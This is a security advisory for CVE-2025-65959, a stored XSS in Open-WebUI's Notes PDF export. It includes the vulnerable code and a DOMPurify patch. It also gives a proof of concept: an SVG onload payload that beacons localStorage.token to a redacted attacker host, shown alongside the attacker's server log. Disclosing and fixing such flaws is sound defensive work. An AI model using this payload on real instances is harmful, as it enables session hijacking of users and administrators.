GHSA-8WVC-869R-XFQF
Vulnerability from github – Published: 2025-12-04 22:03 – Updated: 2025-12-04 22:03Summary
A Stored XSS vulnerability has been discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF.
This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files.
Details
Vulnerability Location
File: src/lib/components/notes/utils.ts
Function: downloadPdf()
Vulnerable Code (Line 35):
const contentNode = document.createElement('div');
contentNode.innerHTML = html; // Direct assignment without DOMPurify sanitization
node.appendChild(contentNode);
document.body.appendChild(node);
Root Cause
- Incomplete TipTap Editor Configuration
- Open-WebUI only uses TipTap StarterKit
- No Schema definition for dangerous tags like SVG, Script
-
Unknown HTML tags are stored as raw HTML
-
Missing Sanitization During PDF Generation
note.data.content.htmlis directly assigned toinnerHTML- No DOMPurify or other sanitization
- Stored malicious HTML executes as-is
PoC
Environment
- Open-WebUI latest version (v0.6.36)
- Admin account
Step 1: Create Malicious Markdown File
Filename: token_stealer.md
<svg onload="navigator.sendBeacon('https://redacted/steal',localStorage.token)"></svg>
navigator.sendBeacon() was used to bypass CORS.
Step 2: Import to Notes
- Login to Open-WebUI
- Click "Notes" in the left menu
- Drag and drop the Markdown file
- Note is automatically created
Step 3: Trigger PDF Download
- Access Notes menu (/notes)
- Click ⋯ on the right side of the uploaded note
- Select "Download" → "PDF document (.pdf)"
- JavaScript executes
Step 4: Verify Token Theft
Attacker's server log:
POST /steal HTTP/1.1
Host: redacted
Content-Type: text/plain;charset=UTF-8
Content-Length: 145
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMjE4ZmU4LTU2MTktNGEzNS05MWZkLTM2MzA3NDU1NGFkNCJ9.zOicE5c5FJ3ZOc9j6T2xHU-K6dbz-s1ib_hIG4LayFw
And Simple PoC alert(1)
Filename: simple_poc.md
<svg onload="alert(1)"></svg>
Impact
CVSS 3.1 Score: 8.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Vulnerability Type
CWE-79: Cross-site Scripting (XSS)
CWE-116: Improper Encoding or Escaping of Output
Affected Users
- All Open-WebUI users
- Especially users utilizing the Notes feature
Attack Scenario
1. Attacker shares malicious note (.md file) in the community
2. Victim uploads the shared note (.md file)
3. Victim downloads as PDF
4. XSS vulnerability triggers
5. Victim's session (localStorage.token) is stolen
Recommended Patch
// src/lib/components/notes/utils.ts:35
import DOMPurify from 'dompurify';
const contentNode = document.createElement('div');
// Sanitize with DOMPurify
contentNode.innerHTML = DOMPurify.sanitize(html, {
ALLOWED_TAGS: [
'p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote', 'table', 'thead',
'tbody', 'tr', 'td', 'th'
],
ALLOWED_ATTR: ['href', 'class', 'target'],
FORBID_TAGS: ['svg', 'script', 'iframe', 'object', 'embed', 'style'],
FORBID_ATTR: ['onload', 'onerror', 'onclick', 'onmouseover', 'onfocus'],
ALLOW_DATA_ATTR: false
});
node.appendChild(contentNode);
References
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- DOMPurify: https://github.com/cure53/DOMPurify
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.36"
},
"package": {
"ecosystem": "npm",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.37"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65959"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-04T22:03:24Z",
"nvd_published_at": "2025-12-04T21:16:08Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA **Stored XSS vulnerability** has been discovered in Open-WebUI\u0027s Notes PDF download functionality. \nAn attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to **execute arbitrary JavaScript code** and **steal session tokens** when a victim downloads the note as PDF. \n\nThis vulnerability can be exploited by **any authenticated user**, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files.\n\n## Details\n\n### Vulnerability Location\n\n**File:** `src/lib/components/notes/utils.ts` \n**Function:** `downloadPdf()` \n**Vulnerable Code (Line 35):**\n\n```typescript\nconst contentNode = document.createElement(\u0027div\u0027);\n\ncontentNode.innerHTML = html; // Direct assignment without DOMPurify sanitization\n\nnode.appendChild(contentNode);\ndocument.body.appendChild(node);\n```\n\n### Root Cause\n\n1. **Incomplete TipTap Editor Configuration**\n - Open-WebUI only uses TipTap StarterKit\n - No Schema definition for dangerous tags like SVG, Script\n - Unknown HTML tags are stored as raw HTML\n \n2. **Missing Sanitization During PDF Generation**\n - `note.data.content.html` is directly assigned to `innerHTML`\n - No DOMPurify or other sanitization\n - Stored malicious HTML executes as-is\n\n\n## PoC\n\n### Environment\n- Open-WebUI latest version (v0.6.36)\n- Admin account\n\n### Step 1: Create Malicious Markdown File\n\n**Filename:** `token_stealer.md`\n\n```markdown\n\u003csvg onload=\"navigator.sendBeacon(\u0027https://redacted/steal\u0027,localStorage.token)\"\u003e\u003c/svg\u003e\n```\n\u003e navigator.sendBeacon() was used to bypass CORS.\n\n### Step 2: Import to Notes\n\n1. Login to Open-WebUI\n2. Click **\"Notes\"** in the left menu\n3. **Drag and drop** the Markdown file\n4. Note is automatically created\n\n### Step 3: Trigger PDF Download\n\n1. Access Notes menu (/notes)\n2. Click **\u22ef** on the right side of the uploaded note\n3. Select **\"Download\"** \u2192 **\"PDF document (.pdf)\"**\n4. JavaScript executes\n\n### Step 4: Verify Token Theft\n\n**Attacker\u0027s server log:**\n```http\nPOST /steal HTTP/1.1\nHost: redacted\nContent-Type: text/plain;charset=UTF-8\nContent-Length: 145\n\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMjE4ZmU4LTU2MTktNGEzNS05MWZkLTM2MzA3NDU1NGFkNCJ9.zOicE5c5FJ3ZOc9j6T2xHU-K6dbz-s1ib_hIG4LayFw\n```\n\n### And Simple PoC `alert(1)`\n**Filename:** `simple_poc.md`\n\n```markdown\n\u003csvg onload=\"alert(1)\"\u003e\u003c/svg\u003e\n```\n\u003cimg width=\"1089\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ded7bb4a-d0e0-4614-8d64-3113c1f79e2f\" /\u003e\n\n\n---\n\n## Impact\n\n**CVSS 3.1 Score: 8.7 (High)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N\n```\n\n### Vulnerability Type\n**CWE-79: Cross-site Scripting (XSS)** \n**CWE-116: Improper Encoding or Escaping of Output**\n\n### Affected Users\n- **All Open-WebUI users**\n- Especially users utilizing the Notes feature\n\n### Attack Scenario\n```\n1. Attacker shares malicious note (.md file) in the community\n2. Victim uploads the shared note (.md file)\n3. Victim downloads as PDF\n4. XSS vulnerability triggers\n5. Victim\u0027s session (localStorage.token) is stolen\n```\n\n---\n\n## Recommended Patch\n\n```typescript\n// src/lib/components/notes/utils.ts:35\nimport DOMPurify from \u0027dompurify\u0027;\n\nconst contentNode = document.createElement(\u0027div\u0027);\n\n// Sanitize with DOMPurify\ncontentNode.innerHTML = DOMPurify.sanitize(html, {\n ALLOWED_TAGS: [\n \u0027p\u0027, \u0027br\u0027, \u0027strong\u0027, \u0027em\u0027, \u0027u\u0027, \u0027h1\u0027, \u0027h2\u0027, \u0027h3\u0027, \u0027h4\u0027, \u0027h5\u0027, \u0027h6\u0027,\n \u0027ul\u0027, \u0027ol\u0027, \u0027li\u0027, \u0027a\u0027, \u0027code\u0027, \u0027pre\u0027, \u0027blockquote\u0027, \u0027table\u0027, \u0027thead\u0027,\n \u0027tbody\u0027, \u0027tr\u0027, \u0027td\u0027, \u0027th\u0027\n ],\n ALLOWED_ATTR: [\u0027href\u0027, \u0027class\u0027, \u0027target\u0027],\n FORBID_TAGS: [\u0027svg\u0027, \u0027script\u0027, \u0027iframe\u0027, \u0027object\u0027, \u0027embed\u0027, \u0027style\u0027],\n FORBID_ATTR: [\u0027onload\u0027, \u0027onerror\u0027, \u0027onclick\u0027, \u0027onmouseover\u0027, \u0027onfocus\u0027],\n ALLOW_DATA_ATTR: false\n});\n\nnode.appendChild(contentNode);\n```\n\n---\n\n## References\n\n- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\n- DOMPurify: https://github.com/cure53/DOMPurify\n\n---",
"id": "GHSA-8wvc-869r-xfqf",
"modified": "2025-12-04T22:03:24Z",
"published": "2025-12-04T22:03:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-8wvc-869r-xfqf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65959"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/commit/03cc6ce8eb5c055115406e2304fbf7e3338b8dce"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI Vulnerable to Stored DOM XSS via Note \u0027Download PDF\u0027"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.